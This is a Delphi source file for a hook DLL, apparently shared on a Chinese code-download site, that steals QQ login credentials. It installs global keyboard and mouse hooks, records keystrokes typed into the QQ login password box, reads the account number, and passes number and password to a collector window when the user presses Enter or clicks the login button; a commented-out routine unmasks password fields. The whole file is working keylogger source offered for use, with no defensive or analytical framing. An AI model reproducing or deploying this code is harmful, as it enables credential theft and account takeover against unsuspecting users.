GQPl.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
- {....................author: ZHY............
- ....................qq:65862177............
- ...........e-mail:zhyprogram@163.com.........
- ........本代码来源www.2ccc.com,有部分修改.....
- }
- library GQPl;
- uses
- windows,
- messages,
- dialogs,
- sysutils,
- shellapi,
- inifiles;
- type
- PMouseHookStruct = ^TMouseHookStruct;
- tagMOUSEHOOKSTRUCT = packed record
- pt: TPoint;
- hwnd: HWND;
- wHitTestCode: UINT;
- dwExtraInfo: DWORD;
- end;
- TMouseHookStruct = tagMOUSEHOOKSTRUCT;
- const WM_getdata=WM_User+100;
- var
- KeyHook,MouseHook:HHook;
- password_str:shortstring;
- procedure show_numberpassword(number,password:shortstring);
- var
- mstr:shortstring;
- ds: TCopyDataStruct;
- begin
- mstr:=number+'/'+password+#0;
- ds.cbData := Length(mstr) + 1;
- GetMem(ds.lpData, ds.cbData);
- StrCopy(ds.lpData, @mstr[1]);
- sendmessage(findwindow('TGQPFRM','GQP 1.0'),WM_COPYDATA,0,Cardinal(@ds));
- FreeMem(ds.lpData);
- end;
- function Get_qqnumber:shortstring;
- var
- buffer:array[0..50] of char;
- Window,Number_window:Longint;
- begin
- result:='';
- Window:=findwindow('#32770',nil);
- if window=0 then exit;
- Number_window:=FindWindowex(window,0,'ComboBox',nil);
- if Number_window=0 then exit;
- SendMessage(Number_window, $000D, 50, Integer(@buffer));
- result:=buffer;
- end;
- function ispassword_window:boolean;
- var
- window,password_window:thandle;
- begin
- result:=false;
- window:=findwindow('#32770',nil);
- if window=0 then exit;
- password_window:=findwindowex(window,0,'Edit',nil);
- if password_window=0 then exit;
- //showmessage(inttostr(getfocus)+' '+inttostr(password_window));
- if getfocus=password_window then
- result:=true;
- end;
- {function get_password:string;
- var
- buffer:array[0..255] of char;
- Window,password_window:Longint;
- begin
- result:='';
- window:=findwindow('#32770',nil);
- if window=0 then exit;
- password_window:=findwindowex(window,0,'edit',nil);
- if password_window=0 then exit;
- PostMessage(password_window,EM_SETPASSWORDCHAR, 0, 0);
- sleep(300);
- SendMessage(password_window,WM_GETTEXT,255,longint(@buffer));
- //showmessage(buffer[3]);
- PostMessage (password_window,EM_SETPASSWORDCHAR,42,0);
- result:=buffer;
- end; }
- function isqq_window:boolean;
- begin
- if findwindow('#32770',nil)=GetForegroundWindow then
- result:=true
- else result:=false;
- end;
- function keytext(wparam:lParam;lParam:LPARAM):char;
- var
- mchar,temchar:char;
- ochar:array[0..49] of char;
- shiftDown:boolean;
- begin
- mchar:=char(0);
- shiftDown:=boolean(GetAsyncKeyState(vk_shift) shr 31);
- if shiftDown then
- case char(wparam) of
- '1':mchar := '!';
- '2':mchar := '@';
- '3':mchar := '#';
- '4':mchar := '$';
- '5':mchar := '%';
- '6':mchar := '^';
- '7':mchar := '&';
- '8':mchar := '*';
- '9':mchar := '(';
- '0':mchar := ')';
- 'A':mchar := 'A';
- 'B':mchar := 'B';
- 'C':mchar := 'C';
- 'D':mchar := 'D';
- 'E':mchar := 'E';
- 'F':mchar := 'F';
- 'G':mchar := 'G';
- 'H':mchar := 'H';
- 'I':mchar := 'I';
- 'J':mchar := 'J';
- 'K':mchar := 'K';
- 'L':mchar := 'L';
- 'M':mchar := 'M';
- 'N':mchar := 'N';
- 'O':mchar := 'O';
- 'P':mchar := 'P';
- 'Q':mchar := 'Q';
- 'R':mchar := 'R';
- 'S':mchar := 'S';
- 'T':mchar := 'T';
- 'U':mchar := 'U';
- 'V':mchar := 'V';
- 'W':mchar := 'W';
- 'X':mchar := 'X';
- 'Y':mchar := 'Y';
- 'Z':mchar := 'Z';
- end
- else
- case char(wparam) of
- '1':mchar:= '1';
- '2':mchar:= '2';
- '3':mchar:= '3';
- '4':mchar:= '4';
- '5':mchar:= '5';
- '6':mchar:= '6';
- '7':mchar:= '7';
- '8':mchar:= '8';
- '9':mchar:= '9';
- '0':mchar:= '0';
- 'A':mchar:= 'a';
- 'B':mchar:= 'b';
- 'C':mchar:= 'c';
- 'D':mchar:= 'd';
- 'E':mchar:= 'e';
- 'F':mchar:= 'f';
- 'G':mchar:= 'g';
- 'H':mchar:= 'h';
- 'I':mchar:= 'i';
- 'J':mchar:= 'j';
- 'K':mchar:= 'k';
- 'L':mchar:= 'l';
- 'M':mchar:= 'm';
- 'N':mchar:= 'n';
- 'O':mchar:= 'o';
- 'P':mchar:= 'p';
- 'Q':mchar:= 'q';
- 'R':mchar:= 'r';
- 'S':mchar:= 's';
- 'T':mchar:= 't';
- 'U':mchar:= 'u';
- 'V':mchar:= 'v';
- 'W':mchar:= 'w';
- 'X':mchar:= 'x';
- 'Y':mchar:= 'y';
- 'Z':mchar:= 'z';
- end;
- if mchar=char(0) then
- begin
- case wparam of
- VK_BACK:mchar:= '~';
- VK_NUMPAD1:mchar:= '1';
- VK_NUMPAD2:mchar:= '2';
- VK_NUMPAD3:mchar:= '3';
- VK_NUMPAD4:mchar:= '4';
- VK_NUMPAD5:mchar:= '5';
- VK_NUMPAD6:mchar:= '6';
- VK_NUMPAD7:mchar:= '7';
- VK_NUMPAD8:mchar:= '8';
- VK_NUMPAD9:mchar:= '9';
- VK_NUMPAD0:mchar:= '0';
- VK_MULTIPLY:mchar:= '*';
- VK_ADD: mchar:= '+';
- VK_SUBTRACT:mchar:= '-';
- VK_DECIMAL: mchar:= '.';
- VK_DIVIDE: mchar:= '/';
- end;
- end;
-
- if mchar=char(0) then
- begin
- GetKeyNameText(lParam,ochar,50);
- temchar:=ochar[0];
- if shiftdown then
- case temchar of
- '`':mchar:='~';
- '-':mchar:='_';
- '=':mchar:='+';
- '[':mchar:='{';
- ']':mchar:='}';
- ';':mchar:=':';
- '''':mchar:='"';
- ',':mchar:='<';
- '.':mchar:='>';
- '/':mchar:='?';
- '':mchar:='|';
- end
- else
- case temchar of
- '`':mchar:='`';
- '-':mchar:='-';
- '=':mchar:='=';
- '[':mchar:='[';
- ']':mchar:=']';
- ';':mchar:=';';
- '''':mchar:='''';
- ',':mchar:=',';
- '.':mchar:='.';
- '/':mchar:='/';
- '':mchar:='';
- end;
- end;
-
- result:=mchar;
- end;
-
- function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
- begin {回车} {键盘按键按下消息}
- if findwindow('#32770',nil)<>0 then
- begin
- if (wParam=13) and(((LParam shr 31)and 1)=0)and(isqq_window) then
- begin
- show_numberpassword(get_qqnumber,password_str);
- password_str:='';
- end
- else begin
- if (((LParam shr 31)and 1)=0)and(ispassword_window) then
- begin
- if keytext(wParam,Lparam)<>char(0) then
- password_str:=password_str+keytext(wParam,Lparam);//chr(wparam);
- end;
- end;
- Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
- end;
- end;
- function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
- var
- buffer:array[0..5] of char;
- begin {鼠标左键按下消息}
- if (findwindow('#32770',nil)<>0)and(wparam=WM_LBUTTONDOWN) then
- begin
- SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,WM_GETTEXT,5,Integer(@buffer));
- if buffer='登录' then
- begin
- show_numberpassword(get_qqnumber,password_str);
- password_str:='';
- end;
- end;
- Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
- end;
- procedure HookOn;
- begin
- KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
- MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
- end;
- procedure HookOff;
- begin
- UnHookWindowsHookEx(KeyHook);
- UnHookWindowsHookEx(MouseHook);
- end;
- //=================导出函数
- exports
- HookOn,HookOff;
-
- begin
- end.